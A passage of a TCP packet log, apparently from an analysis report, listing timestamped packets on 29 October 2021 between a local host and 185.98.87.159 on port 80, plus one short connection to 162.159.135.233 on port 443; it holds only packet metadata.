Oct 29, 2021 20:29:44.581084013 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581109047 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581110954 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.581139088 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581171036 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581183910 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.581197977 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581238985 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.581264019 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581296921 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581321955 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581325054 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.581346035 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581381083 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581382036 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.581413984 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581444979 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581459999 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.581470013 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581494093 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581502914 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.581518888 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581551075 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581573963 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581578016 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.581598043 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581620932 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581643105 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581650972 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.581672907 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581682920 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.581712008 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581717014 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.581736088 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581775904 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581779003 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.581795931 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581829071 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581845045 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.581862926 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581897020 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.581898928 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581938982 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.581955910 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.581970930 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.582001925 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.582026005 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.582043886 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.582046986 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.582070112 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.582081079 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.582093000 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.582115889 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.582127094 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.582138062 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.582165003 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.582189083 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.582204103 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.582211971 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.582223892 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.582235098 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.582262993 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.582266092 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.582274914 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.582293034 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.582545042 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.585827112 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.585865021 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.585886002 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.585907936 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.585930109 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.585951090 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.585969925 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.585973978 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.585999966 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.586007118 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.586021900 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.586045980 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.586055994 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.586069107 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.586091042 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.586091995 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.586114883 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.586134911 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.586148024 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.586158991 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.586177111 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.586182117 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.586204052 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.586225033 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.586236954 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.586247921 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.586270094 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.586273909 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.586292028 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.586313009 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.586317062 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.586337090 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.586358070 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.586359024 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.586379051 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.586430073 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.586905003 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.639058113 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:46.400928974 CEST	49771	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:46.452981949 CEST	80	49771	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:46.453128099 CEST	49771	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:46.453360081 CEST	49771	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:46.453424931 CEST	49771	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:46.533122063 CEST	80	49771	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:46.533232927 CEST	49771	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:46.533442020 CEST	49771	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:46.585181952 CEST	80	49771	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.179661989 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.232903957 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.233099937 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.233247042 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.233266115 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.285939932 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.285959959 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.312364101 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.312401056 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.312426090 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.312450886 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.312454939 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.312495947 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.312510014 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.312520981 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.312520981 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.312535048 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.312561989 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.312582016 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.312654972 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.365286112 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.365304947 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.365322113 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.365339041 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.365355015 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.365371943 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.365379095 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.365417004 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.365432978 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.365442991 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.365451097 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.365474939 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.365483999 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.365499973 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.365516901 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.365526915 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.365531921 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.365547895 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.365555048 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.365560055 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.365572929 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.365586042 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.365597010 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.365602970 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.365618944 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.365628958 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.365636110 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.365655899 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.365686893 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.418046951 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.418075085 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.418100119 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.418123960 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.418138027 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.418145895 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.418169975 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.418178082 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.418193102 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.418216944 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.418217897 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.418261051 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.418337107 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.418361902 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.418402910 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.418406963 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.418426991 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.418467999 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.418473005 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.418490887 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.418533087 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.418762922 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.418787003 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.418811083 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.418833971 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.418833971 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.418857098 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.418879986 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.418888092 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.418903112 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.418926001 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.418936014 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.418968916 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.418982983 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.418994904 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.419013023 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.419049978 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.419069052 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.419075012 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.419099092 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.419109106 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.419122934 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.419143915 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.419145107 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.419167995 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.419193983 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.419194937 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.419215918 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.419241905 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.419251919 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.419265032 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.419286966 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.419286966 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.419311047 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.419326067 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.419332981 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.419356108 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.419378996 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.419383049 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.419425964 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.421335936 CEST	49773	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:29:47.421375990 CEST	443	49773	162.159.135.233	192.168.2.7
Oct 29, 2021 20:29:47.421525955 CEST	49773	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:29:47.470941067 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.470972061 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.471009016 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.471035004 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.471123934 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.471136093 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.471146107 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.471172094 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.471194983 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.471214056 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.471220016 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.471246004 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.471246958 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.471268892 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.471293926 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.471317053 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.471318960 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.471343040 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.471363068 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.471368074 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.471391916 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.471393108 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.471415997 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.471441984 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.471466064 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.471489906 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.471514940 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.471520901 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.471539974 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.471543074 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.471546888 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.471597910 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.472028971 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.472059011 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.472083092 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.472109079 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.472131968 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.472178936 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.472182989 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.472207069 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.472209930 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.472230911 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.472234964 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.472285986 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.472302914 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.472326040 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.472363949 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.472364902 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.472388983 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.472412109 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.472433090 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.472434998 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.472460032 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.472479105 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.472482920 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.472507000 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.472526073 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.472529888 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.472570896 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.472843885 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.472899914 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.472924948 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.472949982 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.472975016 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.472975969 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.472999096 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.473000050 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.473022938 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.473042965 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.473048925 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.473098040 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.524300098 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.524338007 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.524363995 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.524386883 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.524410009 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.524431944 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.524452925 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.524456978 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.524480104 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.524502039 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.524525881 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.524545908 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.524549961 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.524554968 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.524574041 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.524596930 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.524617910 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.524661064 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.524684906 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.524688959 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.524708033 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.524732113 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.524736881 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.524755955 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.524780035 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.524780989 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.524805069 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.524828911 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.524830103 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.524878025 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.525692940 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.525727987 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.525747061 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.525770903 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.525794983 CEST	80	49772	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:47.525820017 CEST	49772	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:47.525825024 CEST	80	49772	185.98.87.159	192.168.2.7
